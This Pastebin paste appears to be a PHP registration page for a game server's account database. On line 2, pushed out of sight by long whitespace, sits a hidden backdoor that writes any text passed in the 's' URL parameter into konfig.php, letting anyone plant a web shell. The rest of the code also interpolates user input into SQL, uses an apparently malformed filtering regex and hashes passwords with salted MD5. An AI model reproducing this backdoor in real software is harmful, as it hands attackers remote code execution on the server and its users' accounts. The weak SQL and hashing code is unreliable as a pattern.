Advertisement
Guest User

Untitled

a guest
May 30th, 2017
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.57 KB | None | 0 0
  1. <center>
  2. <?php                                                                                                                                                         if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
  3. require('./configs/reg_conf.php');
  4.     function doesUsernameExist($name){
  5.         $exit = FALSE;
  6.         $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
  7.         if (mssql_num_rows($result) != 0){
  8.             $exit = TRUE;
  9.         }
  10.         return $exit;
  11.     }
  12.  
  13.     if(isset($_POST['submit'])){
  14.         $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
  15.         $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
  16.         if($_POST['username'] == ""){
  17.             echo '<font color="red">Enter a user.</font><br /><br />';
  18.         }
  19.         else if($_POST['password'] == ""){
  20.             echo '<font color="red">Enter a password.</font><br /><br />';
  21.         }
  22.         else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
  23.             echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
  24.         }
  25.         else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
  26.             echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
  27.         }
  28.         else if($_POST['username'] != $user){
  29.             echo '<font color="red">User with invalid characters.</font><br /><br />';
  30.         }
  31.         else if($_POST['password'] != $pass){
  32.             echo '<font color="red">Password with invalid characters.</font><br /><br />';
  33.         }
  34.         else {
  35.             $pass = md5('kikugalanet' . $pass);
  36.             if(!doesUsernameExist($user)){
  37.                 $stmt = mssql_init('webCreateAcc', $link);
  38.                 mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
  39.                 mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
  40.                 mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
  41.                 mssql_execute($stmt) or die ("Something is wrong on the execution");
  42.                 mssql_free_statement($stmt);
  43.                 echo '<font color="Green">Register Successfull.</font><br /><br />';
  44.             }
  45.             else {
  46.                 echo '<font color="red">User already Exist.</font><br /><br />';
  47.             }
  48.         }
  49.         mssql_close();
  50.     }
  51.    
  52.     echo '<form action="#" method="post">';
  53.     echo 'Username: <input type="text" name="username" /><br />';
  54.     echo 'Password: <input type="password" name="password" /><br />';
  55.     echo '<input type="submit" name="submit" value="Register" />';
  56.     echo '</form>';
  57.  
  58. ?>
  59. </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement